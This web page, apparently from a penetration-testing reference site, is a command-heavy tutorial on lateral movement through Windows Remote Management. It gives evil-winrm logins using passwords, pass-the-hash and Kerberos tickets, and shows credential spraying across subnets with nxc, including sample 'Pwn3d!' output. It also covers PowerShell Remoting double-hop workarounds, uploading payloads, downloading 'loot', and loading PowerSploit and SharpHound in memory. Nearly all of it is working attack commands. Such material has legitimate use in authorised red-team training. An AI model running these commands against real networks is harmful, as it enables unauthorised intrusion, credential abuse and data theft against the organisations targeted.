Skip to content
HackIndex logo

HackIndex

WinRM Lateral Movement

4 min read May 6, 2026

WinRM on port 5985 (HTTP) and 5986 (HTTPS) is present on most modern Windows servers and all domain controllers. Any account in the local Remote Management Users group or with WinRM access configured can open an interactive PowerShell session. Combined with valid credentials or NT hashes, WinRM is one of the cleanest lateral movement paths — no service creation, no binary drop.

Reach Other Hosts with evil-winrm

From a Linux attacker box, evil-winrm is the primary tool. Test access with credentials first:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

With a hash — no password cracking needed:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH

With a domain account:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN

With a Kerberos ticket — useful when NTLM is blocked or after overpass-the-hash:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/$USER.ccache
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_HOSTNAME -u $USER -r $DOMAIN

Use the hostname, not the IP, when authenticating with Kerberos — SPN resolution requires a name.

Over HTTPS (port 5986):

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S

Spray WinRM Access Across Hosts

Before connecting interactively, verify which hosts in the network accept the credentials over WinRM. nxc handles this efficiently:

┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_SUBNET -u $USER -p $PASSWORD -d $DOMAIN
┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_SUBNET -u $USER -H $NTHASH -d $DOMAIN
WINRM   10.10.10.20  5985  WEB01   [+] corp.local\jsmith:Password123 (Pwn3d!)
WINRM   10.10.10.30  5985  FILE01  [-] corp.local\jsmith:Password123
WINRM   10.10.10.10  5985  DC01    [+] corp.local\jsmith:Password123 (Pwn3d!)

(Pwn3d!) = account has WinRM access and can open an interactive session.

Run a command across all reachable WinRM hosts without opening an interactive shell:

┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_SUBNET -u $USER -p $PASSWORD -d $DOMAIN -x "whoami"

PowerShell Remoting from a Windows Session

From a Windows foothold, use PowerShell Remoting directly. This is the native equivalent of evil-winrm and works inside a compromised Windows session without additional tools.

Interactive session:

PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $TARGET_HOSTNAME -Credential (Get-Credential)

Without a credential prompt — use a pre-built credential object:

PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force))
PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName $TARGET_HOSTNAME -Credential $cred

Workaround 2 — register a PSSession configuration with explicit credentials:

PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force))
PS C:\Users\Guest\Desktop> $s = New-PSSession -ComputerName HostA -Credential $cred
PS C:\Users\Guest\Desktop> Invoke-Command -Session $s -ScriptBlock { $cred2 = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER", (ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force)); Invoke-Command -ComputerName HostB -Credential $cred2 -ScriptBlock { whoami }}

Workaround 3 — CredSSP (requires CredSSP enabled on HostA, loud):

PS C:\Users\Guest\Desktop> Enable-WSManCredSSP -Role Client -DelegateComputer "*.corp.local" -Force # on your local host
PS C:\Users\Guest\Desktop> # Then connect:
PS C:\Users\Guest\Desktop> Enter-PSSession -ComputerName HostA -Credential $cred -Authentication Credssp

CredSSP delegates credentials through the chain but is detectable and requires configuration changes on the intermediate host — avoid unless necessary.

Workaround 4 — Overpass-the-Hash to get a Kerberos TGT and use it for the second hop. See Pass-the-Hash and Pass-the-Ticket.

File Transfer via WinRM Session

Within an evil-winrm session, file transfer is built in:

*Evil-WinRM* PS C:\Users\Administrator\Documents> # Inside evil-winrm session:
*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /tmp/payload.exe C:\Windows\Temp\payload.exe
*Evil-WinRM* PS C:\Users\Administrator\Documents> download C:\Windows\Temp\loot.txt /tmp/loot.txt

Within a PowerShell Remoting session, use Copy-Item over the PSSession:

PS C:\Users\Guest\Desktop> $s = New-PSSession -ComputerName $TARGET_HOSTNAME -Credential $cred
PS C:\Users\Guest\Desktop> Copy-Item -Path /tmp/payload.exe -Destination C:\Windows\Temp\payload.exe -ToSession $s
PS C:\Users\Guest\Desktop> Copy-Item -Path C:\Windows\Temp\loot.txt -Destination /tmp/loot.txt -FromSession $s

Load Scripts In-Memory via WinRM

evil-winrm can load PowerShell scripts directly into the remote session without writing to disk — useful for post-exploitation modules:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -s /usr/share/windows-resources/powersploit/Privesc/

Then within the session:

PS C:\Users\Guest\Desktop> PowerUp.ps1
PS C:\Users\Guest\Desktop> Invoke-AllChecks

Load .NET assemblies in-memory:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -e /tmp/assemblies/
*Evil-WinRM* PS C:\Users\Administrator\Documents> # Inside evil-winrm session:
*Evil-WinRM* PS C:\Users\Administrator\Documents> Invoke-Binary /tmp/assemblies/SharpHound.exe

References